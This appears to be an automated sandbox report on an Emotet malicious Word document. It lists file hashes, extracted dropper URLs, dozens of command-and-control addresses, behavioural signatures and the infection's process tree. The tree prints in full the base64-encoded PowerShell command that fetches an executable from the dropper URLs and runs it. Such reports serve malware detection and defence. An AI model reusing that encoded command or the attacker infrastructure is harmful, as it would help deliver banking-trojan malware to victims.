emotet | a371adb4edd62c96f3ab2fd9c98a4977ab0731df912e3cee89fd7eff0cc98f5c

General

Target
emotet_e3_a371adb4edd62c96f3ab2fd9c98a4977ab0731df912e3cee89fd7eff0cc98f5c_2020-08-17__210756._doc.doc
Size 235KB
Sample200817-12e1d3ft2n
SHA256 a371adb4edd62c96f3ab2fd9c98a4977ab0731df912e3cee89fd7eff0cc98f5c
MD5 fbcd3231955157a18542a404780408aa
SHA1 2b6c13089978aa8beba03a4ede50756d9c4671a3
SHA512 e6b3aaecbec39b0f545ecc8f0a50560c83cdc01adffacc93bda8ae95d50bb7de06ae5b5651210dd09d98a71b6d618188910454de788c5bd34b3de0b070341dae
MD5 SHA1 SHA512

Score

10^/10

discovery trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://b3shop.net/calendar/LgZgcv/
exe.dropper
http://magazine-lib.com/wp-content/3nng7e9a6b416342/
exe.dropper
http://nourishmentjuices.com/wp-content/mkyecobz2597/
exe.dropper
http://marthecornelie.com/pcntb/wyqAVe3g95374/
exe.dropper
https://haikouweixun.com/jn5/z08vog5472/

Extracted

Family

emotet

C2

186.109.104.67:80
185.86.148.68:443
139.99.157.213:8080
203.153.216.178:7080
192.163.221.191:8080
201.235.10.215:80
37.46.129.215:8080
78.189.60.109:443
77.74.78.80:443
143.95.101.72:8080
188.251.213.180:443
31.146.61.34:80
190.53.144.120:80
105.209.235.113:8080
115.78.11.155:80
172.96.190.154:8080
50.116.78.109:8080
188.0.135.237:80
179.62.238.49:80
197.83.232.19:80
92.24.51.238:80
115.165.3.213:80
177.144.130.105:443
139.59.12.63:8080
107.161.30.122:8080
182.176.95.147:80
181.134.9.162:80
179.5.118.12:80
198.57.203.63:8080
51.38.201.19:7080
187.64.128.197:80
176.9.93.82:7080
115.79.195.246:80
46.105.131.68:8080
91.83.93.103:443
87.106.231.60:8080
195.201.56.70:8080
185.142.236.163:443
181.114.114.203:80
192.241.220.183:8080
182.187.139.200:8080
217.199.160.224:8080
190.190.15.20:80
46.32.229.152:8080
202.5.47.71:80
71.57.180.213:80
178.33.167.120:8080
181.113.229.139:443
66.61.94.36:80
216.75.37.196:8080
86.57.216.23:80
74.208.173.91:8080
81.214.253.80:443
172.105.78.244:8080
157.7.164.178:8081
185.208.226.142:8080
177.94.227.143:80
105.213.67.88:80
97.104.107.190:80
5.79.70.250:8080
75.127.14.170:8080
81.17.93.134:80
41.185.29.128:8080
190.212.140.6:80
113.161.148.81:80
177.32.8.85:80
105.184.233.166:80
201.213.177.139:80
177.37.81.212:443
192.210.217.94:8080
190.164.75.175:80
41.84.237.198:443
212.112.113.235:80
203.153.216.182:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2232	1468	powersheLL.exe	67

Emotet Payload 5 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3672-12-0x0000000000A60000-0x0000000000A6C000-memory.dmp	emotet
behavioral2/memory/3672-12-0x0000000000A60000-0x0000000000A6C000-memory.dmp	emotet
behavioral2/memory/1908-15-0x0000000000830000-0x000000000083C000-memory.dmp	emotet
behavioral2/memory/1908-15-0x0000000000830000-0x000000000083C000-memory.dmp	emotet
behavioral2/memory/3672-20-0x0000000000000000-mapping.dmp	emotet

ServiceHost packer 1 IoCs

Detects ServiceHost packer used for .NET malware

resource	yara_rule
behavioral2/memory/3672-20-0x0000000000000000-mapping.dmp	servicehost

Blacklisted process makes network request 3 IoCs

flow	pid	Process
6	2232	powersheLL.exe
8	2232	powersheLL.exe
10	2232	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3672	Ojrv0x9y.exe
1908	takeown.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1908	takeown.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\uexfat\takeown.exe	Ojrv0x9y.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2768	3672	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
904	WINWORD.EXE
904	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2232	powersheLL.exe
2232	powersheLL.exe
2232	powersheLL.exe
1908	takeown.exe
1908	takeown.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
1908	takeown.exe
1908	takeown.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2232	powersheLL.exe
Token: SeRestorePrivilege	2768	WerFault.exe
Token: SeBackupPrivilege	2768	WerFault.exe
Token: SeDebugPrivilege	2768	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
904	WINWORD.EXE
3672	Ojrv0x9y.exe
3672	Ojrv0x9y.exe
1908	takeown.exe
1908	takeown.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 3672	2232	powersheLL.exe	72
PID 2232 wrote to memory of 3672	2232	powersheLL.exe	72
PID 2232 wrote to memory of 3672	2232	powersheLL.exe	72
PID 3672 wrote to memory of 1908	3672	Ojrv0x9y.exe	75
PID 3672 wrote to memory of 1908	3672	Ojrv0x9y.exe	75
PID 3672 wrote to memory of 1908	3672	Ojrv0x9y.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a371adb4edd62c96f3ab2fd9c98a4977ab0731df912e3cee89fd7eff0cc98f5c_2020-08-17__210756._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:904

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABYAHEAeQB4AGYAcwB2AD0AKAAnAE4ANQAnACsAJwBjAGEAYwB2ADgAJwApADsAJgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgBUAGUAbQBwAFwATwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAYABSAGAASQBUAGAAWQBQAHIAbwBUAE8AYABDAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACcAcwAxADIALAAnACsAJwAgAHQAbABzACcAKwAnADEAMQAnACsAJwAsACAAdABsAHMAJwApADsAJABaADQAOABkADcAYwB4ACAAPQAgACgAJwBPAGoAJwArACcAcgAnACsAJwB2ADAAeAA5AHkAJwApADsAJABOAHoAawAyAGYAdABfAD0AKAAnAEYAYwAnACsAJwB4ADUAZQB3ACcAKwAnAG4AJwApADsAJABXADUAZwBxAHgAYgA2AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBqACcAKwAnAEwAYwAnACsAJwBPAGYAZgBpAGMAZQAyADAAMQA5ACcAKwAnAGoATAAnACsAJwBjACcAKQAuACIAcgBlAHAAbABgAEEAQwBFACIAKAAoAFsAQwBoAEEAcgBdADEAMAA2ACsAWwBDAGgAQQByAF0ANwA2ACsAWwBDAGgAQQByAF0AOQA5ACkALAAnAFwAJwApACkAKwAkAFoANAA4AGQANwBjAHgAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEcAOAA0ADAANgBwAHAAPQAoACcARQB0AHcAJwArACcAdgBiAGUAJwArACcAawAnACkAOwAkAEYAbABfAG0AcABlAGMAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAQwBsAEkARQBOAHQAOwAkAFMANgBfAHkAZAB5AGkAPQAoACcAaAB0AHQAcAA6AC8AJwArACcALwBiADMAcwBoAG8AcAAnACsAJwAuAG4AZQB0ACcAKwAnAC8AJwArACcAYwBhAGwAJwArACcAZQBuACcAKwAnAGQAYQAnACsAJwByAC8ATABnAFoAZwBjAHYALwAqAGgAdAB0AHAAOgAvAC8AbQBhAGcAYQB6AGkAbgBlAC0AJwArACcAbABpAGIALgBjAG8AJwArACcAbQAvAHcAJwArACcAcAAtAGMAbwBuAHQAZQAnACsAJwBuAHQAJwArACcALwAnACsAJwAzAG4AbgBnADcAZQA5AGEANgBiACcAKwAnADQAMQA2ADMANAAyAC8AKgBoAHQAdABwADoALwAvACcAKwAnAG4AbwB1AHIAJwArACcAaQBzAGgAJwArACcAbQBlAG4AdABqAHUAJwArACcAaQBjAGUAJwArACcAcwAuAGMAbwAnACsAJwBtAC8AJwArACcAdwBwAC0AJwArACcAYwBvAG4AJwArACcAdAAnACsAJwBlACcAKwAnAG4AdAAnACsAJwAvAG0AawAnACsAJwB5AGUAYwBvAGIAegAyADUAJwArACcAOQA3ACcAKwAnAC8AJwArACcAKgBoAHQAdAAnACsAJwBwADoALwAvAG0AYQByACcAKwAnAHQAaAAnACsAJwBlAGMAbwByAG4AZQBsAGkAZQAuAGMAJwArACcAbwBtAC8AcABjAG4AdABiAC8AdwB5AHEAQQBWAGUAMwBnADkANQAzADcAJwArACcANAAvACoAJwArACcAaAB0AHQAJwArACcAcABzADoALwAvAGgAYQBpACcAKwAnAGsAbwAnACsAJwB1ACcAKwAnAHcAZQBpAHgAdQBuAC4AYwAnACsAJwBvAG0ALwBqAG4ANQAnACsAJwAvAHoAJwArACcAMAAnACsAJwA4AHYAbwBnADUANAA3ADIALwAnACkALgAiAHMAcABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWgB5AHgANQBrAGcAbwA9ACgAJwBDAGcANwAnACsAJwBzACcAKwAnAGoANwBxACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAcgBrAF8AZAByADIAIABpAG4AIAAkAFMANgBfAHkAZAB5AGkAKQB7AHQAcgB5AHsAJABGAGwAXwBtAHAAZQBjAC4AIgBEAGAATwB3AGAATgBMAG8AYQBkAGYAaQBgAGwAZQAiACgAJABCAHIAawBfAGQAcgAyACwAIAAkAFcANQBnAHEAeABiADYAKQA7ACQARABtADEAMQBlADEAZgA9ACgAJwBHAG8AJwArACcAdgAnACsAJwB3ADgAcAA0ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABXADUAZwBxAHgAYgA2ACkALgAiAEwARQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMgAxADYANwAyACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAFcANQBnAHEAeABiADYAKQA7ACQAQwA2AHIAMAB0ADAAZAA9ACgAJwBOADcAegB1ADkAJwArACcAeAAnACsAJwBrACcAKQA7AGIAcgBlAGEAawA7ACQAWgBxAHoAcAB2AHAAagA9ACgAJwBPAHUAOAB2ACcAKwAnADMAbwB5ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQAxAGYAYgBfAHoAdgA9ACgAJwBRACcAKwAnAGgAdwA2AHIAdABtACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Users\Admin\AppData\Local\Temp\Office2019\Ojrv0x9y.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Ojrv0x9y.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Windows\SysWOW64\uexfat\takeown.exe
    "C:\Windows\SysWOW64\uexfat\takeown.exe"
    3⤵
    - Executes dropped EXE
    - Modifies file permissions
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1908
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3672 -s 316
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2768

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/904-0-0x00007FFE3F380000-0x00007FFE3FA46000-memory.dmp

Download

memory/1908-15-0x0000000000830000-0x000000000083C000-memory.dmp

Download

memory/2232-6-0x00007FFE37180000-0x00007FFE37B6C000-memory.dmp

Download

memory/2232-7-0x0000016B7F340000-0x0000016B7F341000-memory.dmp

Download

memory/2232-8-0x0000016B7F4F0000-0x0000016B7F4F1000-memory.dmp

Download

memory/2768-17-0x0000000004C90000-0x0000000004C91000-memory.dmp

Download

memory/2768-16-0x0000000004C90000-0x0000000004C91000-memory.dmp

Download

memory/2768-19-0x0000000005090000-0x0000000005091000-memory.dmp

Download

memory/2768-21-0x00000000056C0000-0x00000000056C1000-memory.dmp

Download

memory/3672-12-0x0000000000A60000-0x0000000000A6C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads